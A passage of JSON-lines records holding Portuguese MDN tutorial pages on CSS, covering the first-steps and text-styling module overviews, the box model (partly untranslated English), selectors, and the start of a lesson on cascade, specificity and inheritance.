algumas práticas recomendadas para escrever seu CSS para facilitar a manutenção e algumas das soluções que você encontrará em uso por outras pessoas para ajudar a melhorar a capacidade de manutenção.\n\nAvaliações\n----------\n\nDeseja testar suas habilidades de CSS? As avaliações a seguir testarão sua compreensão do CSS abordado nos guias acima.\n\nEntendimento fundamental de CSS (en-US)\n\nEsta avaliação testará seu entendimento da sintaxe básica, seletores, especificidade, modelo caixa, e mais.\n\nCriando uma carta timbrada ideal (en-US)\n\nSe você deseja causar uma boa impressão, escrever uma carta em papel timbrado bonito pode ser um bom começo. Nesta avaliação, desafiaremos você a criar um modelo online para obter essa aparência.\n\nCaixa de estilo atraente (en-US)\n\nAqui você aprenderá a usar o estilo de plano de fundo e borda para criar uma caixa agradável.\n\nVeja também\n-----------\n\nEfeitos de estilo avançados (en-US)\n\nEste artigo funciona como uma caixa de truques, fornecendo uma introdução a alguns recursos avançados de estilo interessantes, como sombras de caixa, modos de mesclagem e filtros."}
{"title":"Primeiros passos com CSS - Aprendendo desenvolvimento web","text":"Primeiros passos com CSS\n========================\n\nCSS ( Planilhas de estilo em cascata) é usada para estilizar e arranjar páginas web — por exemplo, para alterar a fonte, cor, tamanho e espaçamento do seu conteúdo, separá-lo em multiplas colunas, ou então adicionar animações e outras implementações decorativas. Esse módulo provê um começo sutil em seu caminho pelo domínio do CSS com o básico de como ele funciona, como é a aparência da sintaxe e como você pode começar a utilizá-lo para estilizar seu HTML.\n\nPré-requisitos\n--------------\n\nAntes de iniciar este módulo, você deve ter:\n\n1. Familiaridade básica com o uso de computadores e utilização da internet passivamente (Ex: vendo e consumindo o conteúdo.)\n2. Um ambiente de trabalho básico configurado conforme detalhado em Instalando Software Básico e um entendimento de como criar e gerenciar arquivos, conforme detalhado em Lidando com Arquivos.\n3. Familiaridade básica com HTML, como discutido no módulo Introdução ao HTML.\n\n**Nota:** Se você está trabalhando em um computador/tablet/ou outro dispostivo onde você não tem habilidade para criar seus próprios arquivos, você poderá tentar (a maioria) os exemplos de códigos em um programa online de codificação como JSBin ou Thimble.\n\nGuias\n-----\n\nEste módulo contém os seguintes artigos, que o guiarão através de toda a teoria básica do CSS e fornecerão oportunidades para você testar algumas habilidades.\n\nO que é CSS?\n\n**CSS** (Cascading Style Sheets) permite que você crie páginas web com ótima aparência. Mas como isso funciona por debaixo dos panos? Este artigo explica o que é CSS, com um exemplo simples de sintaxe, e também cobre alguns termos importantes sobre a linguagem.\n\nIniciando com CSS\n\nNeste artigo, pegaremos um documento HTML simples e aplicaremos CSS, aprendendo algumas coisas práticas sobre a linguagem ao longo do caminho.\n\nComo CSS é estruturado\n\nAgora que você tem uma idéia sobre o que é CSS e o básico sobre como usá-lo, é hora de analisar um pouco mais a fundo a estrutura da própria linguagem. Já conhecemos muitos dos conceitos discutidos aqui; você pode retornar a este para recapitular se achar confusos os conceitos posteriores.\n\nComo CSS funciona\n\nAprendemos o básico do CSS, para que serve e como escrever folhas de estilo simples(Cascading Style Sheets - CSS). Neste exercício, veremos como um navegador utiliza CSS e HTML, e os transforma em uma página da web.\n\nUsando seu novo conhecimento\n\nCom o que aprendeu nas poucas lições anteriores, você já deve estar achando que pode formatar simples documentos de textos usando CSS, para adicionar seu próprio estilo neles. Este artigo te dará a chance de fazê-lo.\n\nVeja também\n-----------\n\nConhecimento Intermerdiário da Web 1: Introdução ao CSS\n\nUm excelente curso básico da Mozilla que explora e testa muitas das habilidades mencionadas no módulo Introdução ao CSS. Aprenda sobre o estilo de elementos HTML em uma página web, seletores de CSS, atributos e valores."}
{"title":"Estilizando texto - Aprendendo desenvolvimento web","text":"Estilizando texto\n=================\n\nCom o básico de CSS compreendido, o próximo passo para você se concentrar será a estilização de textos — uma das mais importantes coisas que você fará com CSS. Aqui nós olhamos para os fundamentos de estilização de texto, fontes, negritos, italicos, linha e espaço entre letras, sombreamente e outras características textuais. Completamos o módulo produrando aplicar fontes personalizadas para sua página, e estilizando listas e links.\n\nPré-requisites\n--------------\n\nAntes de começar este módulo, você já deverá ter familiaridade básica com HTML, como dissemos no módulos Introdução ao HTML, e estar confortável com os fundamentos de CSS, como discutido em Introdução ao CSS (en-US).\n\n**Nota:** Se você está usando um computador/tablet/outro dispositivo onde não tem a possibilidade de criar seus próprios arquivos, você poderá treinar os códigos-exemplo em um programa de código online como JSBin, CodePen or Thimble.\n\nGuias\n-----\n\nEste módulo contém os seguintes artigos que ensinarão você todos os fundamentos por trás da estilização de conteúdo textual HTML.\n\nFundamentos da estilização de texto e fontes (en-US)\n\nNeste artigo nós passamos por todo o básico da estilização de texto/fonte, incluindo a configuração weight(negrito), family e style, configuração com forma abreviada, alinhamento textual, linha e espaçamento entre as letras.\n\nEstilizando lista\n\nListas comportam-se como qualquer texto na maior parte das vezes, ma há algumas propriedades CSS específicas para lista que você precisa conhecer, e algumas boas práticas a considerar. Este artigo esclarecerá tudo.\n\nEstilizando links (en-US)\n\nNa estilização de links, é importante entender como fazer uso de pseudo-classes para estilizar o estado dos links efetivamente, como estilizar links para uso em recursos de interfaces diversas como menus de navegação e guias. Veremos todos esses tópicos neste artigo.\n\nWeb Fontes (en-US)\n\nAqui nós exploraremos Web Fontes em detalhes — isto permite que você baixe fontes personalizadas junto com sua página web, para permitir maior personalização na estilização.\n\nAvaliação\n---------\n\nA seguinte avaliação testará seu entendimento das técnicas de estilização de texto cobertas pelo guia acima.\n\nEstilizando a homepage de um escola comunitária\n\nNesta avaliação nos testeremos seu entendimento de estilização de texto fazendo com que você estilize a homepage de uma escola comunitária."}
{"title":"The box model - Aprendendo desenvolvimento web","text":"The box model\n=============\n\n* Anterior  (en-US)\n* Menu: Building blocks\n* Próxima  (en-US)\n\nTudo em CSS tem um quadro em torno de si, e entender estes quadros é chave para ser capaz de criar arranjos ( layouts ) com CSS, ou para alinhar itens com outros itens. Nesta lição, olharemos de modo apropiado para o modelo de caixas do CSS ( CSS Box Model ), de forma que você possa montar arranjos mais complexos com um melhor entendimento de como ele funciona e da terminologia relacionada.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Familiaridade básica em utilizar computadores, ambiente de trabalho\n básico configurado conforme detalhado emsoftware básico instalado, conhecimento básico de como\n criar e gerenciar arquivos, básico de HTML (\n Introdução ao HTML), e uma idéia de como o CSS funciona (ensinado em\n CSS primeiros passos.)\n  |\n| Objetivo: | \n Aprender sobre o Modelo de Caixa do CSS, o que faz o modelo de caixa e\n como trocar para um modelo alternativo.\n  |\n\nCaixas Block e Inline\n---------------------\n\nNo CSS, temos dois tipos, **caixas box** e **caixas inline**, O tipo de caixa influencia diretameente em como as mesmas irao interagir com o fluxo da pagina(page flow) e com as outras caixas da pagina:\n\nSe for uma caixa definida como block, ela tera os seguintes comportamentos:\n\n* A caixa irá quebrar em uma nova linha.\n* A caixa irá se estender na direção horizontal (inline) para preeencher todo o espaço disponível no container. Na maioria dos casos isso significa que essa caixa será tão larga quanto seu recipiente.\n* As propriedades `width` e `height` serão respeitadas.\n* `padding`, `margin` e `border` (en-US) farão com que outros elementos sejam empurrados para fora da caixa.\n\nA menos que decidamos alterar o tipo de exibição para `inline`, alguns elementos como os cabeçalhos (ex: `<h1>`) e `<p>` são caixas do tipo `block` por padrão.\n\nSe a caixa for do tipo `inline`, ela seguira os segintes comportamentos:\n\n* Ela não quebrará em uma nova linha.\n* As propriedades `width` e `height` não serão aplicadas.\n* Padding vertical, margens e bordas serão aplicados, mas não farão com que outras caixas embutidades se afastem.\n* Padding horizontal, margens e bordas serão aplicadas e farão com que outras caixas embutidades se afastem da caixa.\n\nO elemento `<a>` usado em links, `<span>`, `<em>` e `<strong>` são exemplos de elementos que sao `inline` por padrão.\n\nO tipo de caixa aplicada em um elemento é definida pela propriedade `display` como `block` ou `inline` e está relacionada ao valor **outer** do `display`.\n\nAlém disto: Tipos de exibição ( display ) internos e externos\n-------------------------------------------------------------\n\nNesse ponto, é melhor também explicar os tipos de exibição interna ( **inner** ) e externa ( **outer** ). Como mencionado acima, as caixas em CSS têm um tipo de exibição externa, que detalha se a caixa é em bloco ou em linha.\n\nCaixas possuem também um tipo de display *inner*, que determina como elementos dentro da caixa são posicionados. Por default, os elementos dentro de uma caixa são posicionados em um fluxo normal ( **normal flow** ), significando que eles se comportam como qualquer outro bloco e elementos inline (como explicado acima).\n\nPodemos, no entando, alterar o tipo de exibição (display) interna usando valores `display` como `flex`. Se definirmos `display: flex;` em um elemento, o tipo de exibição externo será `block`, mas o tipo de exibição interna será alterada para `flex`. Todos os filhos diretos desta caixa se tornarão itens flexíveis e serão dispostos de acordo com as regras estabelecidas na especificação Flexbox, que você aprenderá mais tarde.\n\n**Nota:** Para ler mais sobre valores de exibição (display) e como caixas funcionam nos layouts `block` e `inline`, dê uma olhada no guia MDN sobre Block e Inline Layout (en-US)\n\nQuando aprender sobre CSS Layout você encontrará `flex` e vários outros valores internos que suas caixas podem ter, como por exemplo `grid` (en-US).\n\nO layout Block e inline, no entanto, é a forma padrão de como as coisas na web se comportam. Como dissemos acima, às vezes é chamado de *normal flow*, porque sem qualquer outra instrução, nossas caixas são dispostas como blocks ou inlines.\n\nExamples of different display types\n-----------------------------------\n\nLet's move on and have a look at some examples. Below we have three different HTML elements, all of which have an outer display type of `block`. The first is a paragraph, which has a border added in CSS. The browser renders this as a block box, so the paragraph begins on a new line, and expands to the full width available to it.\n\nThe second is a list, which is laid out using `display: flex`. This establishes flex layout for the items inside the container, however, the list itself is a block box and — like the paragraph — expands to the full container width and breaks onto a new line.\n\nBelow this, we have a block-level paragraph, inside which are two `<span>` elements. These elements would normally be `inline`, however, one of the elements has a class of block, and we have set it to `display: block`.\n\nWe can see how `inline` elements behave in this next example. The `<span>` elements in the first paragraph are inline by default and so do not force line breaks.\n\nWe also have a `<ul>` element which is set to `display: inline-flex`, creating an inline box around some flex items.\n\nFinally, we have two paragraphs both set to `display: inline`. The inline flex container and paragraphs all run together on one line rather than breaking onto new lines as they would do if they were displaying as block-level elements.\n\n**In the example, you can change `display: inline` to `display: block` or `display: inline-flex` to `display: flex` to toggle between these display modes.**\n\nYou will encounter things like flex layout later in these lessons; the key thing to remember for now is that changing the value of the `display` property can change whether the outer display type of a box is block or inline, which changes the way it displays alongside other elements in the layout.\n\nIn the rest of the lesson, we will concentrate on the outer display type.\n\nWhat is the CSS box model?\n--------------------------\n\nThe full CSS box model applies to block boxes, inline boxes only use some of the behavior defined in the box model. The model defines how the different parts of a box — margin, border, padding, and content — work together to create a box that you can see on the page. To add some additional complexity, there is a standard and an alternate box model.\n\n### Parts of a box\n\nMaking up a block box in CSS we have the:\n\n* **Content box**: The area where your content is displayed, which can be sized using properties like `width` and `height`.\n* **Padding box**: The padding sits around the content as white space; its size can be controlled using `padding` and related properties.\n* **Border box**: The border box wraps the content and any padding. Its size and style can be controlled using `border` (en-US) and related properties.\n* **Margin box**: The margin is the outermost layer, wrapping the content, padding and border as whitespace between this box and other elements. Its size can be controlled using `margin` and related properties.\n\nThe below diagram shows these layers:\n\n![Diagram of the box model](/pt-BR/docs/Learn/CSS/Building_blocks/The_box_model/box-model.png)\n\n### The standard CSS box model\n\nIn the standard box model, if you give a box a `width` and a `height` attribute, this defines the width and height of the *content box*. Any padding and border is then added to that width and height to get the total size taken up by the box. This is shown in the image below.\n\nIf we assume that the box has the following CSS defining `width`, `height`, `margin`, `border`, and `padding`:\n\n\n```css\n.box {\n  width: 350px;\n  height: 150px;\n  margin: 10px;\n  padding: 25px;\n  border: 5px solid black;\n}\n```\n\n\nThe space taken up by our box using the standard box model will actually be 410px (350 + 25 + 25 + 5 + 5), and the height 210px (150 + 25 + 25 + 5 + 5), as the padding and border are added to the width used for the content box.\n\n![Showing the size of the box when the standard box model is being used.](/pt-BR/docs/Learn/CSS/Building_blocks/The_box_model/standard-box-model.png)\n\n**Nota:** The margin is not counted towards the actual size of the box — sure, it affects the total space that the box will take up on the page, but only the space outside the box. The box's area stops at the border — it does not extend into the margin.\n\n### The alternative CSS box model\n\nYou might think it is rather inconvenient to have to add up the border and padding to get the real size of the box, and you would be right! For this reason, CSS had an alternative box model introduced some time after the standard box model. Using this model, any width is the width of the visible box on the page, therefore the content area width is that width minus the width for the padding and border. The same CSS as used above would give the below result (width = 350px, height = 150px).\n\n![Showing the size of the box when the alternate box model is being used.](/pt-BR/docs/Learn/CSS/Building_blocks/The_box_model/alternate-box-model.png)\n\nBy default, browsers use the standard box model. If you want to turn on the alternative model for an element you do so by setting `box-sizing: border-box` on it. By doing this you are telling the browser to take the border box as the area defined by any size you set.\n\n\n```css\n.box {\n  box-sizing: border-box;\n}\n```\n\n\nIf you want all of your elements to use the alternative box model, and this is a common choice among developers, set the `box-sizing` property on the `<html>` element, then set all other elements to inherit that value, as seen in the snippet below. If you want to understand the thinking behind this, see the CSS Tricks article on box-sizing.\n\n\n```css\nhtml {\n  box-sizing: border-box;\n}\n\\*,\n\\*::before,\n\\*::after {\n  box-sizing: inherit;\n}\n```\n\n\n**Nota:** An interesting bit of history — Internet Explorer used to default to the alternative box model, with no mechanism available to switch.\n\nPlaying with box models\n-----------------------\n\nIn the below example, you can see two boxes. Both have a class of `.box`, which gives them the same `width`, `height`, `margin`, `border`, and `padding`. The only difference is that the second box has been set to use the alternative box model.\n\n**Can you change the size of the second box (by adding CSS to the `.alternate` class) to make it match the first box in width and height?**\n\n**Nota:** You can find a solution for this task here.\n\n### Use browser DevTools to view the box model\n\nYour browser developer tools can make understanding the box model far easier. If you inspect an element in Firefox's DevTools, you can see the size of the element plus its margin, padding, and border. Inspecting an element in this way is a great way to find out if your box is really the size you think it is!\n\n![Inspecting the box model of an element using Firefox DevTools](/pt-BR/docs/Learn/CSS/Building_blocks/The_box_model/box-model-devtools.png)\n\nMargins, padding, and borders\n-----------------------------\n\nYou've already seen the `margin`, `padding`, and `border` (en-US) properties at work in the example above. The properties used in that example are **shorthands** and allow us to set all four sides of the box at once. These shorthands also have equivalent longhand properties, which allow control over the different sides of the box individually.\n\nLet's explore these properties in more detail.\n\n### Margin\n\nThe margin is an invisible space around your box. It pushes other elements away from the box. Margins can have positive or negative values. Setting a negative margin on one side of your box can cause it to overlap other things on the page. Whether you are using the standard or alternative box model, the margin is always added after the size of the visible box has been calculated.\n\nWe can control all margins of an element at once using the `margin` property, or each side individually using the equivalent longhand properties:\n\n* `margin-top`\n* `margin-right` (en-US)\n* `margin-bottom`\n* `margin-left` (en-US)\n\n**In the example below, try changing the margin values to see how the box is pushed around due to the margin creating or removing space (if it is a negative margin) between this element and the containing element.**\n\n#### Margin collapsing\n\nA key thing to understand about margins is the concept of margin collapsing. If you have two elements whose margins touch, and both margins are positive, those margins will combine to become one margin, which is the size of the largest individual margin. If one or both margins are negative, the amount of negative value will subtract from the total.\n\nIn the example below, we have two paragraphs. The top paragraph has a `margin-bottom` of 50 pixels. The second paragraph has a `margin-top` of 30 pixels. The margins have collapsed together so the actual margin between the boxes is 50 pixels and not the total of the two margins.\n\n**You can test this by setting the `margin-top` of paragraph two to 0. The visible margin between the two paragraphs will not change — it retains the 50 pixels set in the `bottom-margin` of paragraph one. If you set it to -10px, you'll see that the overall margin becomes 40px — it subtracts from the 50px.**\n\nThere are a number of rules that dictate when margins do and do not collapse. For further information see the detailed page on mastering margin collapsing. The main thing to remember for now is that margin collapsing is a thing that happens. If you are creating space with margins and don't get the space you expect, this is probably what is happening.\n\n### Borders\n\nThe border is drawn between the margin and the padding of a box. If you are using the standard box model, the size of the border is added to the `width` and `height` of the box. If you are using the alternative box model then the size of the border makes the content box smaller as it takes up some of that available `width` and `height`.\n\nFor styling borders, there are a large number of properties — there are four borders, and each border has a style, width and color that we might want to manipulate.\n\nYou can set the width, style, or color of all four borders at once using the `border` (en-US) property.\n\nTo set the properties of each side individually, you can use:\n\n* `border-top` (en-US)\n* `border-right` (en-US)\n* `border-bottom` (en-US)\n* `border-left`\n\nTo set the width, style, or color of all sides, use the following:\n\n* `border-width` (en-US)\n* `border-style` (en-US)\n* `border-color` (en-US)\n\nTo set the width, style, or color of a single side, you can use one of the most granular longhand properties:\n\n* `border-top-width` (en-US)\n* `border-top-style` (en-US)\n* `border-top-color` (en-US)\n* `border-right-width` (en-US)\n* `border-right-style` (en-US)\n* `border-right-color` (en-US)\n* `border-bottom-width` (en-US)\n* `border-bottom-style` (en-US)\n* `border-bottom-color` (en-US)\n* `border-left-width` (en-US)\n* `border-left-style` (en-US)\n* `border-left-color` (en-US)\n\n**In the example below we have used various shorthands and longhands to create borders. Have a play around with the different properties to check that you understand how they work. The MDN pages for the border properties give you information about the different styles of border you can choose from.**\n\n### Padding\n\nThe padding sits between the border and the content area. Unlike margins you cannot have negative amounts of padding, so the value must be 0 or a positive value. Any background applied to your element will display behind the padding, and it is typically used to push the content away from the border.\n\nWe can control the padding on each side of an element individually using the `padding` property, or each side individually using the equivalent longhand properties:\n\n* `padding-top` (en-US)\n* `padding-right` (en-US)\n* `padding-bottom` (en-US)\n* `padding-left`\n\n**If you change the values for padding on the class `.box` in the example below you can see that this changes where the text begins in relation to the box.**\n\n**You can also change the padding on the class `.container`, which will make space between the container and the box. Padding can be changed on any element, and will make space between its border and whatever is inside the element.**\n\nThe box model and inline boxes\n------------------------------\n\nAll of the above applies fully to block boxes. Some of the properties can apply to inline boxes too, such as those created by a `<span>` element.\n\nIn the example below, we have a `<span>` inside a paragraph and have applied a `width`, `height`, `margin`, `border`, and `padding` to it. You can see that the width and height are ignored. The vertical margin, padding, and border are respected but they do not change the relationship of other content to our inline box and so the padding and border overlaps other words in the paragraph. Horizontal padding, margins, and borders are respected and will cause other content to move away from the box.\n\nUsing display: inline-block\n---------------------------\n\nThere is a special value of `display`, which provides a middle ground between `inline` and `block`. This is useful for situations where you do not want an item to break onto a new line, but do want it to respect `width` and `height` and avoid the overlapping seen above.\n\nAn element with `display: inline-block` does a subset of the block things we already know about:\n\n* The `width` and `height` properties are respected.\n* `padding`, `margin`, and `border` will cause other elements to be pushed away from the box.\n\nIt does not, however, break onto a new line, and will only become larger than its content if you explicitly add `width` and `height` properties.\n\n**In this next example, we have added `display: inline-block` to our `<span>` element. Try changing this to `display: block` or removing the line completely to see the difference in display models.**\n\nWhere this can be useful is when you want to give a link to a larger hit area by adding `padding`. `<a>` is an inline element like `<span>`; you can use `display: inline-block` to allow padding to be set on it, making it easier for a user to click the link.\n\nYou see this fairly frequently in navigation bars. The navigation below is displayed in a row using flexbox and we have added padding to the `<a>` element as we want to be able to change the `background-color` when the `<a>` is hovered. The padding appears to overlap the border on the `<ul>` element. This is because the `<a>` is an inline element.\n\n**Add `display: inline-block` to the rule with the `.links-list a` selector, and you will see how it fixes this issue by causing the padding to be respected by other elements.**\n\nTest your skills!\n-----------------\n\nWe have covered a lot in this article, but can you remember the most important information? You can find some further tests to verify that you've retained this information before you move on — see Test your skills: The Box Model.\n\nSummary\n-------\n\nThat's most of what you need to understand about the box model. You may want to return to this lesson in the future if you ever find yourself confused about how big boxes are in your layout.\n\nIn the next lesson, we will take a look at how backgrounds and borders (en-US) can be used to make your plain boxes look more interesting.\n\n* Anterior  (en-US)\n* Menu: Building blocks\n* Próxima  (en-US)"}
{"title":"CSS selectors - Aprendendo desenvolvimento web","text":"CSS selectors\n=============\n\n* Anterior\n* Menu: Building blocks\n* Próxima\n\nEm CSS, os seletores são usados para direcionar os elementos HTML em nossas páginas da web que queremos estilizar. Há uma grande variedade de seletores CSS disponíveis, permitindo uma precisão refinada ao selecionar os elementos a serem estilizados. Neste artigo e seus sub-artigos, examinaremos os diferentes tipos em grande detalhe, vendo como eles funcionam.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Conhecimento básico de informática,\n software básico instalado , conhecimento básico de como\n trabalhar com arquivos , conceitos básicos de HTML (estude\n Introdução ao HTML\n ) e uma ideia de como o CSS funciona (estude os\n primeiros passos do CSS ).\n  |\n| Objetivo: | Para saber como os seletores CSS funcionam em detalhes. |\n\nO que é um seletor?\n-------------------\n\nVocê já conheceu os seletores. Um seletor CSS é a primeira parte de uma regra CSS. É um padrão de elementos e outros termos que informam ao navegador quais elementos HTML devem ser selecionados para que os valores de propriedade CSS dentro da regra sejam aplicados a eles. O elemento ou elementos que são selecionados pelo seletor são referidos como o *assunto do seletor* .\n\n![Some code with the h1 highlighted.](/pt-BR/docs/Learn/CSS/Building_blocks/Selectors/selector.png)\n\nEm artigos anteriores, você conheceu alguns seletores diferentes e aprendeu que existem seletores que direcionam o documento de maneiras diferentes - por exemplo, selecionando um elemento como `h1`, ou uma classe como `.special`.\n\nEm CSS, os seletores são definidos na especificação dos seletores CSS; como qualquer outra parte do CSS, eles precisam ter suporte em navegadores para funcionarem. A maioria dos seletores que você encontrará são definidos na especificação de Seletores de nível 3 , que é uma especificação madura, portanto, você encontrará um excelente suporte de navegador para esses seletores.\n\nListas de seleção\n-----------------\n\nSe você tiver mais de um item que usa o mesmo CSS, os seletores individuais podem ser combinados em uma *lista de seletores* para que a regra seja aplicada a todos os seletores individuais. Por exemplo, se eu tiver o mesmo CSS para um `h1`e também para uma classe de `.special`, poderia escrever isso como duas regras separadas.\n\n\n```css\nh1 {\n  color: blue;\n}\n\n.special {\n  color: blue;\n}\n```\n\n\nEu também poderia combiná-los em uma lista de seletores, adicionando uma vírgula entre eles.\n\n\n```css\nh1, .special {\n  color: blue;\n}\n```\n\n\nO espaço em branco é válido antes ou depois da vírgula. Você também pode achar os seletores mais legíveis se cada um estiver em uma nova linha.\n\n\n```css\nh1,\n.special {\n  color: blue;\n}\n```\n\n\nNo exemplo ao vivo abaixo, tente combinar os dois seletores que têm declarações idênticas. A exibição visual deve ser a mesma após combiná-los.\n\nAo agrupar seletores dessa forma, se algum seletor for inválido, a regra inteira será ignorada.\n\nNo exemplo a seguir, a regra do seletor de classe inválida será ignorada, enquanto o `h1` ainda seria estilizado.\n\n\n```css\nh1 {\n  color: blue;\n}\n\n..special {\n  color: blue;\n}\n```\n\n\nQuando combinados, no entanto, nem o `h1` nem a classe terão o estilo, pois a regra inteira é considerada inválida.\n\n\n```css\nh1,\n..special {\n  color: blue;\n}\n```\n\nTipos de seletores\n------------------\n\nExistem alguns agrupamentos diferentes de seletores e saber qual tipo de seletor você pode precisar o ajudará a encontrar a ferramenta certa para o trabalho. Nos subartículos deste artigo, examinaremos os diferentes grupos de seletores com mais detalhes.\n\n### Seletores de tipo, classe e ID\n\nEste grupo inclui seletores que têm como alvo um elemento HTML, como um `<h1>`.\n\n\n```css\nh1 {\n}\n```\n\n\nTambém inclui seletores que direcionam uma classe:\n\n\n```css\n.box {\n}\n```\n\n\nou um ID:\n\n\n```css\n#unique {\n}\n```\n\n### Seletores de atributos\n\nEste grupo de seletores oferece diferentes maneiras de selecionar elementos com base na presença de um determinado atributo em um elemento:\n\n\n```css\na[title] {\n}\n```\n\n\nOu até mesmo faça uma seleção com base na presença de um atributo com um valor específico:\n\n\n```css\na[href=\"https://example.com\"]\n{\n}\n```\n\n### Pseudo classes e pseudo-elementos\n\nEste grupo de seletores inclui pseudo classes, que definem o estilo de certos estados de um elemento. A `:hover`pseudoclasse, por exemplo, seleciona um elemento apenas quando ele está sendo passado pelo ponteiro do mouse:\n\n\n```css\na:hover {\n}\n```\n\n\nTambém inclui pseudoelementos, que selecionam uma determinada parte de um elemento em vez do próprio elemento. Por exemplo, `::first-line`sempre seleciona a primeira linha de texto dentro de um elemento (a `<p>`no caso abaixo), agindo como se a tivesse `<span>`sido colocado em volta da primeira linha formatada e então selecionado.\n\n\n```css\np::first-line {\n}\n```\n\n### Combinadores\n\nO grupo final de seletores combina outros seletores para direcionar os elementos em nossos documentos. O seguinte, por exemplo, seleciona parágrafos que são filhos diretos de `<article>`elementos usando o combinador filho ( `>`):\n\n\n```css\narticle > p {\n}\n```\n\nPróximos passos\n---------------\n\nVocê pode dar uma olhada na tabela de referência de seletores abaixo para obter links diretos para os vários tipos de seletores nesta seção Aprender ou no MDN em geral, ou continuar para iniciar sua jornada descobrindo sobre seletores de tipo, classe e ID .\n\n* Anterior\n* Menu: Building blocks\n* Próxima\nTabela de referência de seletores\n---------------------------------\n\nA tabela a seguir fornece uma visão geral dos seletores disponíveis para uso, juntamente com links para as páginas deste guia que mostram como usar cada tipo de seletor. Também incluí um link para a página MDN de cada seletor, onde você pode verificar as informações de suporte do navegador. Você pode usar isso como uma referência para voltar quando precisar consultar os seletores mais tarde no material, ou quando você experimentar CSS em geral.\n\n| Seletor | Exemplo | Tutorial CSS |\n| --- | --- | --- |\n| Type selector | `h1 { }` | Type selectors |\n| Universal selector | `* { }` | The universal selector |\n| Class selector | `.box { }` | Class selectors |\n| id selector | `#unique { }` | ID selectors |\n| Attribute selector | `a[title] { }` | Attribute selectors |\n| Pseudo-class selectors | `p:first-child { }` | Pseudo-classes (en-US) |\n| Pseudo-element selectors | `p::first-line { }` | Pseudo-elements (en-US) |\n| Descendant combinator | `article p` | Descendant combinator (en-US) |\n| Child combinator (en-US) | `article > p` | Child combinator (en-US) |\n| Adjacent sibling combinator (en-US) | `h1 + p` | Adjacent sibling (en-US) |\n| General sibling combinator | `h1 ~ p` | General sibling (en-US) |"}
{"title":"Cascata, especificidade e herança - Aprendendo desenvolvimento web","text":"Cascata, especificidade e herança\n=================================\n\n* Anterior  (en-US)\n* Menu: Building blocks\n* Próxima  (en-US)\n\nO objetivo desta lição é desenvolver sua compreensão de alguns dos conceitos mais fundamentais do CSS — a cascata, especificidade e herança — que controlam como o CSS é aplicado ao HTML e como os conflitos entre as declarações de estilo são resolvidos.\n\nEmbora trabalhar com esta lição possa parecer menos relevante imediatamente e um pouco mais acadêmico do que algumas outras partes do curso, a compreensão desses conceitos irá salvar-lhe de muita dor de cabeça mais tarde! Incentivamos você a estudar cuidadosamente esta seção e verificar se compreende os conceitos antes de prosseguir.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Conhecimentos básicos em informática,\n software básico instalado, conhecimentos básicos de\n trabalhando com arquivos, noções básicas de HTML (estudo\n Introdução ao HTML), e uma ideia de como funciona o CSS (estudo\n Primeiros passos do CSS.)\n  |\n| Objetivo: | \n Para aprender sobre a cascata e a especificidade, e como a herança funciona em\n CSS.\n  |\n\nRegras conflitantes\n-------------------\n\nCSS significa **Folhas de Estilo em Cascata**, e a primeira palavra *cascading* é incrivelmente importante de se entender — a maneira como a cascata se comporta é a chave para entender o CSS.\n\nEm algum momento, você estará trabalhando em um projeto e descobrirá que o CSS que você pensou que deveria ser aplicado a um elemento não está funcionando. Muitas vezes, o problema é que você cria duas regras que aplicam valores diferentes da mesma propriedade ao mesmo elemento. **Cascata** (en-US) e o conceito intimamente relacionado de **especificidade** são mecanismos que controlam qual regra se aplica quando há tal conflito. A regra que está estilizando seu elemento pode não ser a que você espera, então você precisa entender como esses mecanismos funcionam.\n\nTambém significativo aqui é o conceito de **herança**, o que significa que algumas propriedades CSS por padrão herdam valores definidos no elemento pai do elemento atual e algumas não. Isso também pode causar algum comportamento inesperado.\n\nVamos começar dando uma olhada rápida nas principais coisas com as quais estamos lidando, depois veremos cada uma delas e veremos como elas interagem umas com as outras e com seu CSS. Estes podem parecer um conjunto complicado de conceitos para entender. À medida que você pratica escrever CSS a maneira como ele funciona se tornará mais óbvia para você.\n\n### Cascata\n\nA **cascata** (en-US) nas folhas de estilo — em um nível muito simples, isso significa que a origem, a camada em cascata e a ordem das regras CSS são importantes. Quando duas regras da mesma camada em cascata se aplicam e ambas têm igual especificidade, aquela que for definida por último na folha de estilo é a que será utilizada.\n\nNo exemplo abaixo, temos duas regras que podem ser aplicadas ao elemento `<h1>`. O conteúdo `<h1>` acaba sendo colorido de azul. Isso ocorre porque ambas as regras são da mesma fonte, têm um seletor de elemento idêntico e, portanto, carregam a mesma especificidade, mas a última na ordem da fonte vence.\n\n### Especificidade\n\nEspecificidade é o algoritmo que o navegador usa para decidir qual valor de propriedade é aplicado a um elemento. Se vários blocos de estilo tiverem seletores diferentes que configuram a mesma propriedade com valores diferentes e visam o mesmo elemento, a especificidade decide o valor da propriedade que será aplicado ao elemento. A especificidade é basicamente uma medida de quão específica será a seleção de um seletor:\n\n* Um seletor de elemento é menos específico; ele selecionará todos os elementos desse tipo que aparecem em uma página, por isso tem menos peso. Os seletores de pseudoelementos têm a mesma especificidade que os seletores de elementos regulares.\n* Um seletor de classe é mais específico; ele selecionará apenas os elementos em uma página que tenham um valor de atributo `class` específico, portanto, terá mais peso. Seletores de atributo e pseudoclasses têm o mesmo peso que uma classe.\n\nAbaixo, temos novamente duas regras que podem ser aplicadas ao elemento `<h1>`. O conteúdo `<h1>` abaixo acaba sendo colorido de vermelho porque o seletor de classe `main-heading` dá à sua regra uma especificidade maior. Portanto, mesmo que a regra com o seletor de elemento `<h1>` apareça mais abaixo na ordem de origem, aquela com maior especificidade, definida usando o seletor de classe, será aplicada.\n\nExplicaremos o algoritmo de especificidade mais adiante.\n\n### Herança\n\nA herança também precisa ser entendida neste contexto — alguns valores de propriedade CSS definidos em elementos pais são herdados por seus elementos filhos, e alguns não.\n\nPor exemplo, se você definir `color` e `font-family` em um elemento, todos os elementos dentro dele também serão estilizados com essa cor e fonte, a menos que você tenha aplicado valores diferentes de cor e fonte diretamente a eles.\n\nAlgumas propriedades não herdam — por exemplo, se você definir um `width` de 50% em um elemento, todos os seus descendentes não obterão uma largura de 50% da largura de seu pai. Se fosse esse o caso, seria muito frustrante usar CSS!\n\n**Nota:** Nas páginas de referência de propriedade MDN CSS, você pode encontrar uma caixa de informações técnicas chamada \"Definição formal\", que lista vários pontos de dados sobre essa propriedade, incluindo se ela é herdada ou não. Consulte a seção de definição formal da propriedade de cores como exemplo.\n\nCompreender como os conceitos funcionam juntos\n----------------------------------------------\n\nEsses três conceitos (cascata, especificidade e herança) juntos 